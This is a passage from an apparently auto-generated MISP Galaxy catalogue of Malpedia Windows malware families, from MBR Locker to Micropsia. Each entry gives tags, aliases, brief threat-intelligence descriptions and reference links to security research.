
Ransomware overwriting the system's MBR, making it impossible to boot into Windows.

The tag is: *misp-galaxy:malpedia="MBR Locker"*

MBR Locker is also known as:

Table 4428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker
https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html

Mebromi

The tag is: *misp-galaxy:malpedia="Mebromi"*

Mebromi is also known as:

- MyBios

Table 4429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi
https://www.symantec.com/connect/blogs/bios-threat-showing-again

https://www.webroot.com//blog/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/
http://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/
http://contagiodump.blogspot.com/2011/09/mebromi-bios-rootkit-affecting-award.html

MECHANICAL

The tag is: *misp-galaxy:malpedia="MECHANICAL"*

MECHANICAL is also known as:

- GoldStamp

Table 4430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://us-cert.cisa.gov/ncas/alerts/aa20-301a

MediaPI

The tag is: *misp-galaxy:malpedia="MediaPI"*

MediaPI is also known as:

- Eyeglass

Table 4431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mediapi
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/

Medre

The tag is: *misp-galaxy:malpedia="Medre"*

Medre is also known as:

Table 4432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medre
http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html

Medusa (Windows)

Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.

The tag is: *misp-galaxy:malpedia="Medusa (Windows)"*

Medusa (Windows) is also known as:

Table 4433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://news.drweb.com/show/?i=10302&lng=en
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/
https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/

MedusaLocker

A Windows ransomware that will run certain tasks to prepare the target system for the encryption of files. MedusaLocker avoids executable files, probably to avoid rendering the targeted system unusable for paying the ransom. It uses a combination of AES and RSA-2048, and reportedly appends extensions such as .encrypted, .bomber, .boroff, .breakingbad, .locker16, .newlock, .nlocker, and .skynet.

The tag is: *misp-galaxy:malpedia="MedusaLocker"*

MedusaLocker is also known as:

- AKO Doxware
- AKO Ransomware
- MedusaReborn

Table 4434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://asec.ahnlab.com/en/48940/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://blog.cyble.com/2023/03/15/unmasking-medusalocker-ransomware/
https://twitter.com/siri_urz/status/1215194488714346496?s=20

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://www.mandiant.com/resources/chasing-avaddon-ransomware

https://www.theta.co.nz/news-blogs/cyber-security-blog/part-3-analysing-medusalocker-ransomware/

https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf

https://blog.talosintelligence.com/2020/04/medusalocker.html

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://medium.com/@shaddy43/decrypting-the-mystery-of-medusalocker-7128795cf9f0

https://www.cybereason.com/blog/medusalocker-ransomware

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.cisa.gov/uscert/ncas/alerts/aa22-181a

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://dissectingmalwa.re/try-not-to-stare-medusalocker-at-a-glance.html

https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/

https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/

https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html

https://www.microsoft.com/en-us/security/blog/2025/10/06/investigating-active-exploitation-of-cve-2025-10035-goanywhere-managed-file-transfer-vulnerability/

https://www.loginsoft.com/post/medusa-ransomware-evolving-tactics-in-modern-cyber-extortion

https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

Meduza Stealer

The tag is: *misp-galaxy:malpedia="Meduza Stealer"*

Meduza Stealer is also known as:

Table 4435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza
https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf
https://cert.gov.ua/article/6276652
https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-meduza-f1bbd2efb84f
https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/
https://www.fortinet.com/blog/threat-research/exploiting-cve-2024-21412-stealer-campaign-unleashed
https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/

MegaCortex

Megacortex is a ransomware used in targeted attacks against corporations. Once the ransomware is run it tries to stop security related services and after that it starts its own encryption process adding a .aes128ctr or .megac0rtx extension to the encrypted files. It is used to be carried from downloaders and trojans, it has no own propagation capabilities.

The tag is: *misp-galaxy:malpedia="MegaCortex"*

MegaCortex is also known as:

Table 4436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex
https://www.bleepingcomputer.com/news/security/bitdefender-releases-free-megacortex-ransomware-decryptor/
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/
https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://threatpost.com/megacortex-ransomware-mass-distribution/146933/
https://blog.malwarebytes.com/detections/ransom-megacortex/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries
https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure

MegaCreep

The tag is: *misp-galaxy:malpedia="MegaCreep"*

MegaCreep is also known as:

Table 4437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.megacreep
https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/
https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/

MeguminTrojan

Megumin Trojan, is a malware focused on multiple fields (DDoS, Miner, Loader, Clipper).

The tag is: *misp-galaxy:malpedia="MeguminTrojan"*

MeguminTrojan is also known as:

Table 4438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin
https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

Mekotio

The tag is: *misp-galaxy:malpedia="Mekotio"*

Mekotio is also known as:

Table 4439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio
http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853
https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/
https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/
https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf
https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/
https://twitter.com/hpsecurity/status/1509185858146082816
https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam

Melcoz

The tag is: *misp-galaxy:malpedia="Melcoz"*

Melcoz is also known as:

Table 4440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.melcoz
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

MeltingClaw

The tag is: *misp-galaxy:malpedia="MeltingClaw"*

MeltingClaw is also known as:

Table 4441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meltingclaw
https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/damascened-peacock/ncsc-mar-damascened-peacock.pdf
https://blog.talosintelligence.com/uat-5647-romcom/

Meow

According to PCrisk, MEOW is ransomware based on other ransomware called CONTI. MEOW encrypts files and appends the ".MEOW" extension to their filenames. It also drops the "readme.txt" file (a ransom note). An example of how MEOW ransomware modifies filenames: it renames "1.jpg" to "1.jpg.MEOW", "2.png" to "2.png.MEOW", and so forth.

The tag is: *misp-galaxy:malpedia="Meow"*

Meow is also known as:

Table 4442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meow
https://id-ransomware.blogspot.com/2022/09/meow-ransomware.html

MercurialGrabber

The tag is: *misp-galaxy:malpedia="MercurialGrabber"*

MercurialGrabber is also known as:

Table 4443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber
https://twitter.com/Arkbird_SOLG/status/1432127748001128459
https://github.com/NightfallGT/Mercurial-Grabber

Merdoor

The tag is: *misp-galaxy:malpedia="Merdoor"*

Merdoor is also known as:

Table 4444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor

Merlin

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

The tag is: *misp-galaxy:malpedia="Merlin"*

Merlin is also known as:

Table 4445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://www.trendmicro.com/en_us/research/25/h/taoth-campaign.html
http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html
https://github.com/Ne0nd0g/merlin
https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/

http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf

Mespinoza

Mespinosa is a ransomware which encrypts file using an asymmetric encryption and adds .pysa as file extension. According to dissectingmalware the extension "pysa" is probably derived from the Zanzibari Coin with the same name.

The tag is: *misp-galaxy:malpedia="Mespinoza"*

Mespinoza is also known as:

- pysa

Table 4446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/
https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf
https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html
https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/
https://twitter.com/campuscodi/status/1347223969984897026
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/
https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html
https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://twitter.com/inversecos/status/1456486725664993287
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/
https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/
https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis
https://www.ic3.gov/Media/News/2021/210316.pdf
http://www.secureworks.com/research/threat-profiles/gold-burlap

MetadataBin

Ransomware.

The tag is: *misp-galaxy:malpedia="MetadataBin"*

MetadataBin is also known as:

- Ransomware32

Table 4447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin
https://id-ransomware.blogspot.com/2020/10/metadata-bin-ransomware.html

METALJACK

The tag is: *misp-galaxy:malpedia="METALJACK"*

METALJACK is also known as:

- denesRAT

Table 4448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack
https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/
https://s.tencent.com/research/report/944.html
https://www.secrss.com/articles/17900
https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf
https://m.threatbook.cn/detail/2527
https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html
https://ti.qianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.youtube.com/watch?v=ftjDH65kw6E

Metamorfo

According to BitDefender, Metamorfo is a family of banker Trojans that has been active since mid-2018. It primarily targets Brazilians and is delivered mostly through Office files rigged with macros in spam attachments. Metamorfo is a potent piece of malware, whose primary capability is theft of banking information and other personal data from the user and exfiltration of it to the C2 server.

The tag is: *misp-galaxy:malpedia="Metamorfo"*

Metamorfo is also known as:

- Casbaneiro

Table 4449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo
https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html
https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html
https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerou
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md
https://cofense.com/blog/autohotkey-banking-trojan/

https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767
https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf
https://blog.ensilo.com/metamorfo-avast-abuser
https://twitter.com/MsftSecIntel/status/1418706916922986504

MetaStealer

On March 7, 2022, KELA observed a threat actor named *META* announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.

The tag is: *misp-galaxy:malpedia="MetaStealer"*

MetaStealer is also known as:

Table 4450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer
https://ke-la.com/information-stealers-a-new-landscape/
https://research.openanalysis.net/metatealer/stealer/dga/obfuscation/2023/05/11/metastealer.html
https://research.nccgroup.com/2022/05/20/metastealer-filling-the-racoon-void/
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-meta-8ae628dfab8c
https://russianpanda.com/2023/12/28/MetaStealer-Part-2/
https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web
https://defentive.medium.com/the-phantom-threat-inside-unc5518s-invisible-empire-of-metastealer-operations-defentive-3c05359dcae0
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/
https://russianpanda.com/2023/11/20/MetaStealer-Redline’s-Doppelganger/
https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd

Meteor

A wiper used in an attack against the Iranian train system.

The tag is: *misp-galaxy:malpedia="Meteor"*

Meteor is also known as:

Table 4451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor
https://twitter.com/*cpresearch*/status/1541753913732366338
https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

Meterpreter (Windows)

The tag is: *misp-galaxy:malpedia="Meterpreter (Windows)"*

Meterpreter (Windows) is also known as:

Table 4452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter
https://www.cisa.gov/sites/default/files/2023-09/aa23-250a-apt-actors-exploit-cve-2022-47966-and-cve-2022-42475.pdf
https://asec.ahnlab.com/en/53046/
https://redcanary.com/blog/getsystem-offsec/
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/
https://blog.morphisec.com/fin7-attacks-restaurant-industry
https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/
https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea

https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/

https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/

https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html

https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis

https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/

https://www.seqrite.com/blog/operation-barrelfire-noisybear-kazakhstan-oil-gas-sector/

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux

https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/

https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md

https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/

https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/

https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services

https://asec.ahnlab.com/en/56236/

https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/

https://asec.ahnlab.com/ko/26705/

https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/

https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence

https://securelist.com/shedding-skin-turlas-fresh-faces/88069/

https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf

https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf

http://www.secureworks.com/research/threat-profiles/gold-franklin

https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine

https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx

https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass

https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a
http://schierlm.users.sourceforge.net/avevasion.html
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
http://www.secureworks.com/research/threat-profiles/gold-winter
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://explore.group-ib.com/htct/hi-tech_crime_2018

Mevade

A botnet that used Tor .onion links for C&C.

The tag is: *misp-galaxy:malpedia="Mevade"*

Mevade is also known as:

- SBC
- Sefnit

Table 4453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/
https://www.youtube.com/watch?v=FttiysUZmDw
https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/

Mewsei

The tag is: *misp-galaxy:malpedia="Mewsei"*

Mewsei is also known as:

Table 4454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei

MgBot

The tag is: *misp-galaxy:malpedia="MgBot"*

MgBot is also known as:

- BLame
- MgmBot
- POCOSTICK

Table 4455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt-attacks-telecoms-africa-mgbot
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware
https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/
https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf
https://www.welivesecurity.com/en/eset-research/cloudscout-evasive-panda-scouting-cloud-services/
https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/
https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/
https://www.volexity.com/blog/2024/08/02/stormbamboo-compromises-isp-to-abuse-insecure-software-update-mechanisms/
https://twitter.com/GossiTheDog/status/1438500100238577670
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/

Miancha

The tag is: *misp-galaxy:malpedia="Miancha"*

Miancha is also known as:

Table 4456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha

Micrass

The tag is: *misp-galaxy:malpedia="Micrass"*

Micrass is also known as:

Table 4457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

MicroBackdoor

Open-source lightweight backdoor for C2 communication. GitHub: https://github.com/Cr4sh/MicroBackdoor

The tag is: *misp-galaxy:malpedia="MicroBackdoor"*

MicroBackdoor is also known as:

Table 4458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/
https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/
https://cert.gov.ua/article/37626
https://www.mandiant.com/resources/spear-phish-ukrainian-entities
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://github.com/cr4sh/microbackdoor
https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/

Microcin

The tag is: *misp-galaxy:malpedia="Microcin"*

Microcin is also known as:

Table 4459. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin
https://github.com/dlegezo/common
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://securelist.com/microcin-is-here/97353/
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/
https://securelist.com/microcin-is-here/97353
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636

Micropsia

This malware written in Delphi is an information stealing malware family dubbed "MICROPSIA". It has s wide range of data theft functionality built in.

The tag is: *misp-galaxy:malpedia="Micropsia"*

Micropsia is also known as:

Table 4460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia
https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/micropsia_apt_c_23.md
https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf
https://www.sentinelone.com/labs/gaza-cybergang-unified-front-targeting-hamas-opposition/
